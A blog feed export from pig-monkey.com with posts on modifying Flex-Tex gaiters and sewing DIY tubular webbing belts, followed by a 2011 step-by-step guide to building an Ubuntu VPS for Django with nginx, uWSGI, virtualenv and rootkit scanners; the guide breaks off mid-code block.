pig-monkey.com - howtohttps://pig-monkey.com/2013-05-17T00:00:00-07:00Modifying the Outdoor Research Flex-Tex Gaiters2011-09-08T00:00:00-07:002013-05-17T00:00:00-07:00Pig Monkeytag:pig-monkey.com,2011-09-08:/2011/09/modifying-outdoor-research-flex-tex-gaiters/<p>I purchased a pair of <a href="http://www.outdoorresearch.com/en/or-gear/gaiters/trail/flex-tex-gaiters.html">Outdoor Research Flex-Tex Gaiters</a> last spring. I had owned the full-length <a href="http://www.outdoorresearch.com/en/or-gear/gaiters/trail/rocky-mtn-high-gaiters-m-s.html">Rocky Mountain High Gaiters</a> from Outdoor Research for a year, and was a big fan of them. They are not completely waterproof, but are highly water-resistant, and still maintain a level of breathability that …</p><p>I purchased a pair of <a href="http://www.outdoorresearch.com/en/or-gear/gaiters/trail/flex-tex-gaiters.html">Outdoor Research Flex-Tex Gaiters</a> last spring. I had owned the full-length <a href="http://www.outdoorresearch.com/en/or-gear/gaiters/trail/rocky-mtn-high-gaiters-m-s.html">Rocky Mountain High Gaiters</a> from Outdoor Research for a year, and was a big fan of them. They are not completely waterproof, but are highly water-resistant, and still maintain a level of breathability that makes them appropriate for year-round use. I find them adequate for protecting my legs when bushwhacking and for keeping me warm and dry when traveling in rain and snow &ndash; but I&rsquo;m always looking to loose weight. My eye had been on the Flex-Tex gaiters for a while. I thought that they would be a good alternative to full-length gaiters during the warmer months: something lighter and cooler which could provide protection from debris but would also handle the wet and snow that is often found in the alpine summer.</p> <p>When I went to purchase the gaiters, I found that sizing was an issue. Unlike Outdoor Research&rsquo;s other gaiters, the Flex-Tex do not come in normal sizes. They are offered only in the combination sizes of Small/Medium and Large/Extra Large. In the Rocky Mountain High gaiters I wear a medium. The Small/Medium Flex-Tex gaiters were far too small for me to even get on. The Large/Extra Large gaiters fit well around my footwear, but were loose at the top around my calf. Unlike other gaiters from Outdoor Research, the Flex-Tex had no adjustment to tighten the fit.</p> <p>I purchased them anyway, thinking to give them a shot. After using them on an early season trip in the snow, it was evident that they would not work. The loose top allowed too much snow to enter the gaiter.</p> <p>Rather than giving up on the gaiters and immediately returning them, I held on to them for a while. I thought that it would be simple enough to modify the gaiters by adding a new cuff on top of the gaiter, creating a channel of material through which could run a thin piece of webbing. The webbing could be cinched down around the leg and secured with a camlock. This would provide the same adjustment mechanism as that found on my full-length gaiters. It would not be a perfect seal, but short gaiters will never keep out as much debris as tall ones.</p> <p>The gaiters lay neglected for a while. A few months later I found myself in <a href="http://seattlefabrics.com/">Seattle Fabrics</a> and wound up purchasing the needed webbing, as well as some stretchy Lycra material which I thought would serve as the added cuff. Then I forgot about the project again.</p> <p>Eventually, I remembered the gaiters, and wanted to get them done. At that time I had some material left over from hemming a new pair of <a href="http://shop.kuiu.com/attack-pant-p12.aspx">Kuiu Attack Pants</a>. The Kuiu pants are made out of Toray Primeflex, an impressive soft-shell which I discussed in my <a href="http://www.itstactical.com/gearcom/clothing/kuiu-guide-gloves-mountain-tested-mountain-approved/">review of the Kuiu Guide Gloves</a>. While heavier than the Lycra, I thought that Primeflex would provide more durability and be a better match to the soft-shell of the Flex-Tex gaiters.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/6127366548/" title="Modified Outdoor Research Flex-Tex Gaiters by Pig Monkey, on Flickr"><img src="https://farm7.static.flickr.com/6206/6127366548_792d2c6828_b.jpg" width="800" height="533" alt="Modified Outdoor Research Flex-Tex Gaiters"></a></p> <p>The project was a success. With the Primeflex cuff sewn atop the gaiters&rsquo; normal cuff and a piece of webbing put through it, I can cinch down the top of the gaiter around my calf and secure it with the camlock buckle. Because the top of the gaiter has not been modified to be permanently smaller, I can still wear the gaiters over pants &ndash; although I almost always wear them next to skin. I have not done much post-holing in snow this summer, but the new cuff has provided a tight enough seal to keep out flying snow that comes from glissading down snowy slopes and kicking steps on the way up. Neither rocks, dirt, nor twigs have yet to find their way in.</p> <ul class="thumbs"> <li><a href="http://www.flickr.com/photos/pigmonkey/6126824907/" title="Cuff, Webbing, and Camlock by Pig Monkey, on Flickr"><img src="https://farm7.static.flickr.com/6181/6126824907_3a66bdf7b3_m.jpg" width="240" height="135" alt="Cuff, Webbing, and Camlock"></a></li> <li><a href="http://www.flickr.com/photos/pigmonkey/6127377524/" title="A Second Sewing Style by Pig Monkey, on Flickr"><img src="https://farm7.static.flickr.com/6189/6127377524_9b8e32351a_m.jpg" width="240" height="135" alt="A Second Sewing Style"></a></li> </ul> <p>Now that I have a proper fit, the Flex-Tex gaiters have become my preferred wear. They are breathable, water-resistant, and tough. At <a href="/gear/outdoor-research-flex-tex-gaiters-lxl/">5.29 ounces</a>, the modified gaiters are only slightly lighter than the <a href="/gear/outdoor-research-rocky-mountain-high-gaiters/">6.98 ounces</a> Rocky Mountain High gaiters. It is not a huge difference, but I find that I still prefer the Flex-Tex gaiters. The Rocky Mountain gaiters I never wore specifically for debris. They stayed in my pack until I encountered wet or snow. The Flex-Tex gaiters are comfortable and breathable enough to wear all the time &ndash; even when gaiters are not necessarily needed &ndash; which makes them more efficient at keeping out debris. For my type of travel, I find the Flex-Tex gaiters more functional than short gaiters that I&rsquo;ve tried from other companies, such as <a href="http://www.integraldesigns.com/product_detail.cfm?id=765">Integral Designs</a> and <a href="http://www.dirtygirlgaiters.com/">Dirty Girl</a>.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/6126814181/" title="Modified Outdoor Research Flex-Tex Gaiters by Pig Monkey, on Flickr"><img src="https://farm7.static.flickr.com/6078/6126814181_0f1032534d_b.jpg" width="800" height="534" alt="Modified Outdoor Research Flex-Tex Gaiters"></a></p>DIY Tubular Webbing Belts2011-08-26T00:00:00-07:002013-05-17T00:00:00-07:00Pig Monkeytag:pig-monkey.com,2011-08-26:/2011/08/diy-tubular-webbing-belts/<p>Many outdoor gear brands sell thin webbing belts. These belts aren&rsquo;t meant to hold much gear. They simply hold your pants up. The thin, pliable webbing makes for a svelte belt that can be comfortably worn under a pack hip belt or a climbing harness. The webbing also tends …</p><p>Many outdoor gear brands sell thin webbing belts. These belts aren&rsquo;t meant to hold much gear. They simply hold your pants up. The thin, pliable webbing makes for a svelte belt that can be comfortably worn under a pack hip belt or a climbing harness. The webbing also tends to be of a low quality, and the belts are often priced ridiculously high. Why pay $15 for something that you can make yourself at little cost, if not for free?</p> <p>I had worn a <a href="http://www.thewilderness.com/storepinnacle/index.php?p=product&id=2503&parent=142">Frequent Flyer Belt</a> from The Wilderness Tactical on a daily basis for a number of years. It is an excellent belt, but I occasionally found the wide and thick webbing, which is appropriate for some uses, to be uncomfortable and cause chafing under the heavy hip belt of my pack. As an experiment, I purchased a <a href="http://www.patagonia.com/us/product/patagonia-friction-belt?p=59174-0-307">Patagonia Friction Belt</a> when it was heavily discounted during a sale. That worked well for a while &ndash; it was more comfortable under my pack &ndash; but the webbing used was very low quality. It was also still a bit stiff. I thought, why should there be any stiffness at all to the belt? It serves no purpose in the backcountry.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/6083196131/" title="Belts and Buckles by Pig Monkey, on Flickr"><img src="http://farm7.static.flickr.com/6181/6083196131_1473d73eae_b.jpg" width="800" height="533" alt="Belts and Buckles"></a></p> <p>I made my first belt in early March. Initially I intended for it be used only when backpacking, but it proved functional enough that I soon made three more and wear them on a daily basis. The webbing is stiff enough to hold a multi-tool and a knife, which is the most that I carry on my belt these days, both in wilderness environments and urban.</p> <p>The webbing I used is simple tubular webbing. It is strong, and yet softer and more pliable than most flat webbing, making for a comfortable belt. Any climber most likely has yards of the stuff laying around. I happen to use <a href="http://www.bluewaterropes.com/home/productsinfo.asp?Channel=Occupation&amp;Group=&amp;GroupKey=&amp;Category=Webbing%20and%20Sewn%20Gear&amp;CategoryKey=&amp;ProdKey=156">BlueWater 1&rdquo; webbing</a>, which exceeds the strength of military-spec webbing, but, in a belt, this is irrelevant. My stitching will certainly blow long before the webbing.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/6083742432/" title="Belt Stitching by Pig Monkey, on Flickr"><img src="http://farm7.static.flickr.com/6184/6083742432_d80f0f0dfc_b.jpg" width="800" height="533" alt="Belt Stitching"></a></p> <p>After sewing, I cut the webbing so that the total length of the belt is about 39&rdquo;. That provides plenty of length to use the belt as improvised lashing, if I ever need it.</p> <p>I first began using ladderlocs as the buckles. This worked, but I later experimented with using two D-rings. I now prefer the smoother operation of the D-ring buckle. I have experienced no slippage with either type of buckle. Both the ladderlocs and the D-rings I had laying around from previous projects, or from old gear (I always salvage the hardware from old, ratty gear before throwing the rest away).</p> <p><a href="http://www.flickr.com/photos/pigmonkey/6083746790/" title="DIY Tubular Webbing Belts by Pig Monkey, on Flickr"><img src="http://farm7.static.flickr.com/6090/6083746790_803536782c_b.jpg" width="800" height="533" alt="DIY Tubular Webbing Belts"></a></p> <p>The total cost to me for all of these belts was zero. If you had to buy the webbing and hardware, you may be looking at around $2. A far cry cheaper than any similar belt you&rsquo;d find in a store! The total weight of a single belt is <a href="/diy-tubular-webbing-belt/">50 grams</a> (1.76 oz).</p>An Ubuntu VPS for Django2011-07-19T00:00:00-07:002012-12-22T00:00:00-08:00Pig Monkeytag:pig-monkey.com,2011-07-19:/2011/07/ubuntu-vps-django/<p>Three years ago I wrote <a href="/2008/06/an-ubuntu-vps-on-slicehost-basic-setup/">a guide to building a VPS web server</a> for serving sites in a PHP environment. That setup served me well for some time, but most of the sites I run now &ndash; <a href="/2011/06/move-django/">including this one</a> &ndash; are now written in Python. Earlier this year I built another …</p><p>Three years ago I wrote <a href="/2008/06/an-ubuntu-vps-on-slicehost-basic-setup/">a guide to building a VPS web server</a> for serving sites in a PHP environment. That setup served me well for some time, but most of the sites I run now &ndash; <a href="/2011/06/move-django/">including this one</a> &ndash; are now written in Python. Earlier this year I built another web server to reflect this. It&rsquo;s similar to before; I still use Ubuntu and I still like to serve pages with nginx. But PHP has been replaced with Python, and many of the packages used to build the environment have changed as a result. As with the last time, I decided to compile my notes into a guide, both for my own reference and in case anyone else would like to duplicate it. So far, the server has proven to be fast and efficient. It serves Python using uWSGI, uses a PostgreSQL database, and includes a simple mail server provided by Postfix. I think it&rsquo;s a good setup for serving simple Django-based websites.</p> <h2>Basic Setup</h2> <p><a href="/2008/06/an-ubuntu-vps-on-slicehost-basic-setup">As with last time</a>, I recommend following <a href="http://articles.slicehost.com/2010/4/30/ubuntu-lucid-setup-part-1">Slicehost&rsquo;s basic server setup article</a>. It discusses user administration, SSH security, and firewalls. I no longer use Slicehost as my VPS provider, but I find that Slicehost&rsquo;s articles provide an excellent base regardless of the host.</p> <h3>Packages</h3> <p>Packages should upgraded immediately to address any known security vulnerabilities.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo apt-get update $ sudo apt-get upgrade </code></pre></div></td></tr></table></div> <p>After the repositories have been updated, I install some essential packages.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo apt-get install build-essential screen dnsutils </code></pre></div></td></tr></table></div> <p><a href="http://packages.ubuntu.com/lucid/build-essential">Build-essential</a> includes necessary tools to compile programs. I am incapable of using a computer that does not have <a href="http://packages.ubuntu.com/lucid/screen">screen</a> on it, so that gets installed too. The third package, <a href="http://packages.ubuntu.com/lucid/dnsutils">dnsutils</a>, is optional, but includes <code>dig</code> which is useful for troubleshooting DNS issues.</p> <h3>DenyHosts</h3> <p>Slicehost&rsquo;s setup article recommends turning off password authentication in SSH, forcing users to login with keys only. I use keys whenever I can, but I appreciate the option of being able to login to my server from any computer, when I may or may not have my SSH key with me. So I leave password authentication enabled. This presents the possibility of brute-force attacks. Enter <a href="http://denyhosts.sourceforge.net/">DenyHosts</a>. DenyHosts, which I have <a href="/2008/10/thoughts-on-ssh-security/">discussed previously</a> attempts to protect against SSH attacks by banning hosts after a certain number of failed login attempts. When password authentication is enabled, running DenyHosts is a smart move.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo apt-get install denyhosts $ sudo vim /etc/denyhosts.conf </code></pre></div></td></tr></table></div> <h3>Personalize the Environment</h3> <p>I use <code>update-alternatives</code> to set my default editor to <a href="http://www.vim.org">vim</a>.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo update-alternatives --config editor </code></pre></div></td></tr></table></div> <p>All of my personal configuration files are kept in a <a href="https://github.com/pigmonkey/dotfiles">github repository</a>. I&rsquo;ll check out that repository into <code>~/src</code> and install the files.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span> <span class="normal"> 2</span> <span class="normal"> 3</span> <span class="normal"> 4</span> <span class="normal"> 5</span> <span class="normal"> 6</span> <span class="normal"> 7</span> <span class="normal"> 8</span> <span class="normal"> 9</span> <span class="normal">10</span> <span class="normal">11</span> <span class="normal">12</span></pre></div></td><td class="code"><div><pre><span></span><code>$ mkdir ~/src $ <span class="nb">cd</span> ~/src $ sudo apt-get install git-core $ git clone git://github.com/pigmonkey/dotfiles.git $ ln -s ~/src/dotfiles/bash_profile ~/.bash_profile $ ln -s ~/src/dotfiles/bashrc ~/.bashrc $ ln -s ~/src/dotfiles/bash_aliases ~/.bash_aliases $ ln -s ~/src/dotfiles/bash_colors ~/.bash_colors $ ln -s ~/src/dotfiles/vimrc ~/.vimrc $ ln -s ~/src/dotfiles/vim ~/.vim $ ln -s ~/src/dotfiles/screenrc ~/.screenrc $ <span class="nb">source</span> ~/.bash_profile </code></pre></div></td></tr></table></div> <h3>Time</h3> <p>The next step is to set the server&rsquo;s timezone and sync the clock with <a href="http://www.ntp.org">NTP</a>.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo dpkg-reconfigure tzdata $ sudo apt-get install ntp </code></pre></div></td></tr></table></div> <h3>Rootkits</h3> <p>There&rsquo;s no reason not to run both <a href="http://www.chkrootkit.org/">chkrootkit</a> and <a href="http://rkhunter.sourceforge.net">rkhunter</a> to check for rootkits and related vulnerabilities.</p> <h4>chrkrootkit</h4> <p>Slicehost has <a href="http://articles.slicehost.com/2010/3/24/scanning-for-rootkits-with-chkrootkit-updated">an excellent article for setting up and using chkrootkit</a>.</p> <p>Later on I&rsquo;ll be installing some Python development packages. One of them creates a directory called <code>/usr/lib/pymodules/python2.6/.path</code>, which sets off a warning in chkrootkit. Part of chkrootkit&rsquo;s desgin philosophy is to not include any whitelists: if chkrootkit finds something that it doesn&rsquo;t like, you&rsquo;re going to hear about it. I have cron run chkrootkit nightly and I want to receive any warnings, but I don&rsquo;t want to receive the same false positive every morning in my inbox.</p> <p>The solution is to create a file that contains chkrootkit&rsquo;s warning. I call that file <code>whitelist</code> and store it in the same directory as chkrootkit. When chkrootkit is run, any output is redirected to a file. That file is compared to the whitelist using <code>diff</code> and the output <em>of that</em> &ndash; if any &ndash; is then read. At the end, the file containing chkrootkit&rsquo;s output is deleted so that the working directory is ready for the next run. The effect is that I only hear warnings from chkrootkit that I <em>have not explicit whitelisted</em>. All of this can be accomplished in a single crontab entry.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="m">0</span> <span class="m">3</span> * * * <span class="o">(</span><span class="nb">cd</span> /home/demo/src/chkrootkit-0.49<span class="p">;</span> ./chkrootkit -q &gt; message <span class="m">2</span>&gt;<span class="p">&amp;</span><span class="m">1</span><span class="p">;</span> diff -w whitelist message<span class="p">;</span> rm -f message<span class="o">)</span> </code></pre></div></td></tr></table></div> <h4>rkhunter</h4> <p>I&rsquo;m sure it doesn&rsquo;t surprise you that I&rsquo;m going to recommend reading Slicehost&rsquo;s <a href="http://articles.slicehost.com/2010/3/24/scanning-for-rootkits-with-rkhunter-updated">article on rkhunter</a>.</p> <p>Unlike chkrootkit, rkhunter does allow for whitelists. On a clean Ubuntu 10.04 system, I find that I need to whitelist a few items in the config.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span> <span class="normal">6</span> <span class="normal">7</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo vim /etc/rkhunter.conf <span class="nv">SCRIPTWHITELIST</span><span class="o">=</span><span class="s2">&quot;/usr/sbin/adduser /usr/bin/ldd /bin/which&quot;</span> <span class="nv">ALLOWHIDDENDIR</span><span class="o">=</span><span class="s2">&quot;/dev/.udev /dev/.initramfs&quot;</span> <span class="nv">APP_WHITELIST</span><span class="o">=</span><span class="s2">&quot;openssl:0.9.8k gpg:1.4.10&quot;</span> $ sudo /usr/local/bin/rkhunter --propupd </code></pre></div></td></tr></table></div> <p>The script that my cronjob runs is slightly different from the one demonstrated in the Slicehost article. Their script executes a few commands, groups the output together, and sends it to <code>mail</code> to email the system administrator. This results in daily emails, regardless of whether rkhunter finds any warnings or not. My script is simpler and does not result in so many messages.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="ch">#!/bin/sh</span> /usr/local/bin/rkhunter --versioncheck -q /usr/local/bin/rkhunter --update -q /usr/local/bin/rkhunter --cronjob --report-warnings-only </code></pre></div></td></tr></table></div> <p>The version check and update commands both have the <code>-q</code> switch, which disables any output &ndash; I don&rsquo;t care to know whether rkhunter updated itself or not. The final line actually executes the scan. Notice that there&rsquo;s no reference to <code>mail</code>. This script does not send any messages. The reason for that is that rkhunter itself provides the mail functionality. Inside of <code>/etc/rkhunter.conf</code> there is a <code>MAIL-ON-WARNING</code> variable. As long as the machine has an smtp server on it (which I&rsquo;ll get to later in this guide), simply filling in this variable will result in any warnings being emailed to the system administrator.</p> <h2>Web Server</h2> <p>With the basics complete, it&rsquo;s time to start serving something! In my <a href="/2008/06/an-ubuntu-vps-on-slicehost-web-server/">previous article</a> I covered serving a PHP-based Wordpress site via FastCGI and nginx. This time around the stack will be different: <a href="http://nginx.org/">nginx</a>, <a href="http://projects.unbit.it/uwsgi/">uWSGI</a>, <a href="http://www.python.org/">Python</a>, and <a href="http://www.djangoproject.com/">Django</a>.</p> <p>A few basic packages will help flesh out the server&rsquo;s Python development environment:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo apt-get install python-psycopg2 python-setuptools python2.6-dev psmisc python-imaging locate python-dateutil libxml2-dev python-software-properties </code></pre></div></td></tr></table></div> <h3>uWSGI</h3> <p>Installing <a href="http://projects.unbit.it/uwsgi/">uWSGI</a> is a simple matter of compiling it and moving the resulting binary into one of your system&rsquo;s bin directories.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span> <span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>$ <span class="nb">cd</span> ~/src/ $ wget http://projects.unbit.it/downloads/uwsgi-0.9.8.tar.gz $ tar xvzf ~/uwsgi-0.9.8.tar.gz $ <span class="nb">cd</span> uwsgi-0.9.8/ $ make -f Makefile.Py26 $ sudo cp uwsgi /usr/local/sbin </code></pre></div></td></tr></table></div> <h3>nginx</h3> <p>The <a href="http://nginx.org/">nginx</a> package in Ubuntu&rsquo;s official repositories is always notoriously outdated. It used to be you had to compile the server from source, but there is now an <a href="https://launchpad.net/ubuntu/+ppas">Ubuntu PPA</a> for the latest stable versions. <a href="http://wiki.nginx.org/Install#Ubuntu_PPA">As described by the nginx wiki</a>, all that is needed is to add the PPA to your <code>sources.list</code> and <code>apt-get</code> away!</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo add-apt-repository ppa:nginx/stable $ sudo apt-get update $ sudo apt-get install nginx </code></pre></div></td></tr></table></div> <h3>Python and Django</h3> <p>If you do Python development and haven&rsquo;t heard of <a href="http://pypi.python.org/pypi/virtualenv">virtualenv</a>, it is well worth reading up on. It allows the user to create an isolated, virtual Python environment for each project. This helps immensely when developing (or serving) multiple projects on a single machine. Needless to say, I consider it to be a required package.</p> <h4>Install</h4> <p>I&rsquo;ll be installing virtualenv and <a href="http://www.doughellmann.com/projects/virtualenvwrapper">virtualenvwrapper</a> (a set of scripts to facilitate working with virtual environments). I also prefer <a href="http://pypi.python.org/pypi/pip">pip</a> over <code>easy_install</code> for managing Python packages.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo easy_install -U pip $ sudo pip install virtualenv $ sudo pip install virtualenvwrapper </code></pre></div></td></tr></table></div> <h4>Setup a virtual environment</h4> <p>Virtual environments can be stored wherever you fancy. For now, I keep them in a hidden folder in my home directory. For these examples, I&rsquo;ll setup an environment called <code>myproject</code>.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ mkdir ~/.virtualenvs $ <span class="nb">cd</span> ~/.virtualenvs $ virtualenv --no-site-packages --distribute myproject </code></pre></div></td></tr></table></div> <p>Notice the <code>--no-site-packages</code> switch. That tells <code>virtualenv</code> to create this environment without any of the Python packages already installed, creating a completely fresh, clean environment. The <code>--distribute</code> switch causes the new virtual environment to be setup with <a href="http://packages.python.org/distribute/">distribute</a>, a replacement for the old and rather broken <a href="http://pypi.python.org/pypi/setuptools">setuptools</a>.</p> <p>All that&rsquo;s needed to get <code>virtualenvwrapper</code> up and running is to add two lines to your <code>.bashrc</code> and re-source the file.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span> <span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>$ vim ~/.bashrc <span class="nb">export</span> <span class="nv">WORKON_HOME</span><span class="o">=</span><span class="nv">$HOME</span>/.virtualenvs <span class="nb">source</span> /usr/local/bin/virtualenvwrapper.sh $ . ~/.bashrc </code></pre></div></td></tr></table></div> <p>We can now use commands like <code>workon</code> to ease the process of activating a certain environment.</p> <p>I&rsquo;ll go ahead and install <a href="http://pypi.python.org/pypi/yolk">yolk</a> in the environment to help manage packages.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ workon myproject $ pip install yolk $ yolk -l </code></pre></div></td></tr></table></div> <p>The last command will cause <code>yolk</code> to list all packages installed in the environment. Try deactivating the environment and then running <code>yolk</code> again.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ deactivate $ yolk -l yolk: <span class="nb">command</span> not found </code></pre></div></td></tr></table></div> <p>&lsquo;yolk&rsquo; wasn&rsquo;t found, because it was only installed within the virtual environment. Neat!</p> <h4>Install Django</h4> <p>Finally, it&rsquo;s time to install Django! The process is simple enough.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ workon myproject $ pip install django </code></pre></div></td></tr></table></div> <p>And that&rsquo;s it!</p> <p>The <a href="http://www.pythonware.com/products/pil/">Python Imaging Library</a> is likely to be needed for any Django project. I installed it in the beginning of this section, but because I used the <code>--no-site-packages</code> when creating my virtual environment, it is not available for use within the project. To fix that, I&rsquo;ll just link the package in. I also previously installed <a href="http://initd.org/psycopg/">psyopg2</a>, which Python will need to communicate with my PostgreSQL database, so I&rsquo;ll link that in as well. <code>psyopg2</code> depends on <a href="http://www.egenix.com/products/python/mxBase/">mx</a>, which was also previously installed but still must be made available in the environment.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span></pre></div></td><td class="code"><div><pre><span></span><code>$ cdsitepackages $ ln -s /usr/lib/python2.6/dist-packages/PIL $ ln -s /usr/lib/python2.6/dist-packages/PIL.pth $ ln -s /usr/lib/python2.6/dist-packages/psycopg2 $ ln -s /usr/lib/python2.6/dist-packages/mx </code></pre></div></td></tr></table></div> <p>That wasn&rsquo;t too painful!</p> <h4>Create a Django project</h4> <p>While I&rsquo;m still in the virtual environment, I&rsquo;ll go ahead and create a new Django project. The project will have the same name as the environment: <code>myproject</code>. For this tutorial, I&rsquo;ll stick with the precedence set by the Slicehost tutorials and use <code>demo</code> as the name of both my user and group on the server.</p> <p>I like to keep my sites in the <code>/srv/</code> directory. I structure them so that the code that runs the site, any public files, logs, and backups are all stored in separate sub-directories.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span> <span class="normal">6</span> <span class="normal">7</span> <span class="normal">8</span> <span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code>$ <span class="nb">cd</span> /srv/ $ sudo mkdir -p myproject.com/<span class="o">{</span>code,public,logs,backup<span class="o">}</span> $ sudo mkdir -p myproject.com/public/<span class="o">{</span>media,static<span class="o">}</span> $ sudo chown -R demo:demo myproject.com $ <span class="nb">cd</span> myproject.com $ sudo chown -R :www-data logs public $ sudo chmod -R g+w logs public $ <span class="nb">cd</span> code/ $ django-admin.py startproject myproject </code></pre></div></td></tr></table></div> <p>Notice that the <code>logs</code> and <code>public</code> directories were <code>chown</code>ed to the www-data group. That is the name of the user and group that nginx will run as. The web server will need permissions to write to those locations.</p> <h4>Save Requirements</h4> <p>With the environment setup and all the necessary packages installed, now is a good time to tell pip to <a href="http://www.pip-installer.org/en/latest/#freezing-requirements">freeze</a> all the packages and their versions. I keep this file in a <code>deploy</code> folder in my project.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ mkdir /srv/myproject.com/code/deploy $ pip freeze &gt; /srv/myproject.com/code/deploy/requirements.txt </code></pre></div></td></tr></table></div> <p>Now, if I needed to recreate the virtual environment somewhere else, I could just tell pip to install all the packages from that file.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ pip install -r /srv/myproject.com/code/deploy/requirements.txt </code></pre></div></td></tr></table></div> <h3>Configure uWSGI</h3> <p>Now that I have something to serve, I&rsquo;ll configure uWSGI to serve it. The first step is to create a configuration file for the project. I call mine <code>wsgi.py</code> and store it in <code>/srv/myproject.com/code/myproject/</code>. It appends the current directory to the Python path, specifies the Django settings file for the project, and registers the WSGI handler.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span> <span class="normal">6</span> <span class="normal">7</span> <span class="normal">8</span> <span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="kn">import</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="nn">os</span> <span class="n">sys</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">abspath</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="vm">__file__</span><span class="p">)))</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s1">&#39;DJANGO_SETTINGS_MODULE&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;myproject.settings&#39;</span> <span class="kn">import</span> <span class="nn">django.core.handlers.wsgi</span> <span class="n">application</span> <span class="o">=</span> <span class="n">django</span><span class="o">.</span><span class="n">core</span><span class="o">.</span><span class="n">handlers</span><span class="o">.</span><span class="n">wsgi</span><span class="o">.</span><span class="n">WSGIHandler</span><span class="p">()</span> </code></pre></div></td></tr></table></div> <p>With that done, the next step is to decide how uWSGI should be run. I&rsquo;m going to use Ubuntu&rsquo;s <a href="http://upstart.ubuntu.com/">upstart</a> to supervise the service. I keep the upstart script in my project&rsquo;s <code>deploy/</code> directory.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span> <span class="normal"> 2</span> <span class="normal"> 3</span> <span class="normal"> 4</span> <span class="normal"> 5</span> <span class="normal"> 6</span> <span 